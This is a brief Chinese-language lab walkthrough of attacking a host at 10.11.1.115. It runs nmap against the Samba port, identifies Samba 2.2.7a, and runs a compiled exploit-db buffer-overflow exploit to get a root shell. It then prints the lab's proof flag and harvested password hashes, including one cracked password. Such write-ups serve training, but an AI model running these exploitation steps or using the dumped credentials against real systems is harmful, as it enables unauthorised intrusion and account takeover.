对其进行端口扫描,发现开放如下端口:
其中80端口为默认的apache页面。让我好奇的是只开了139 samba 端口(按理说也会开445端口)。
对139端口进行版本识别:
nmap -A -sV -Pn 10.11.1.115 -p 139 --script smb-system-info因为检测不到具体的版本,所以本地使用
smbclient -L 10.11.1.115 连接目标,同时使用tcpdump 抓取流量。
版本为2.2.7a
使用远程代码执行漏洞: https://www.exploit-db.com/exploits/10
进行编译:
使用命令
./samba-bof -b 0 -v 10.11.1.115 进行getshell
成功获取root权限,读取
proof.txt文件内容:377bbe9add593ba528fd9bd3104d2f25
收集
收集到的用户名和密码如下:
| 账号 | 哈希 | 密码 |
| root | $1$lwf3NZSA$UGnYCMPL.HmOdnoNyuGHw1 |
|
| bob | $1$2Wf/hKQd$tV9MM3Qd0Y88GvsDfVvHL0 |
lablab |